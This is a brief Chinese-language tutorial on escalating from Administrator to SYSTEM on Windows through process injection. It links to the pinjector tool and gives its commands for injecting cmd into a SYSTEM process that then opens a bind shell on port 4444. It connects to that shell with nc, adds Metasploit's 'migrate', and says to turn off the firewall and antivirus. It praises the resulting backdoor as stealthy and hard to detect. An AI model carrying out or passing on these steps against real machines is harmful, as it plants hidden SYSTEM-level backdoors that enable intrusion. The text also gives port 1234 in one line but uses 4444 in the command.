Windows提权 —— 进程注入提权
进程注入提权
使用 pinjector.exe 注入到system用户的进程中,使该进程绑定在0.0.0.0:port ,并建立监听端口,攻击者从攻击机上主动连接该地址,获取到系统的system权限。注入进程提权相当于开启了一个后门, 隐蔽性极高,不会创建新的进程,很难被发现。
1. 工具:pinjector
下载:https://www.tarasco.org/security/Process_Injector/index.html
工具使用方法:
pinjector.exe -l 查看可利用的进程
pinjector.exe -p pid cmd port 对pid进程执行注入,并建立侦听端口
2. 利用步骤
演示将Administrator权限提升为System权限
本地用户组(lusrmgr.msc)启用Administrator,关闭防火墙和杀毒软件
上传pinjector.exe到靶机可执行目录;
运行以下命令,查看当前进程,以及进程权限;
pinjector.exe -l
指定某个进程的pid,然后将cmd注入到其中,同时开启侦听端口1234;
pinjector.exe -p 3040 cmd 4444
使用nc去连接目标服务器的4444端口,获取system权限的shell。
MSF进程注入
ps
migrate [PID号]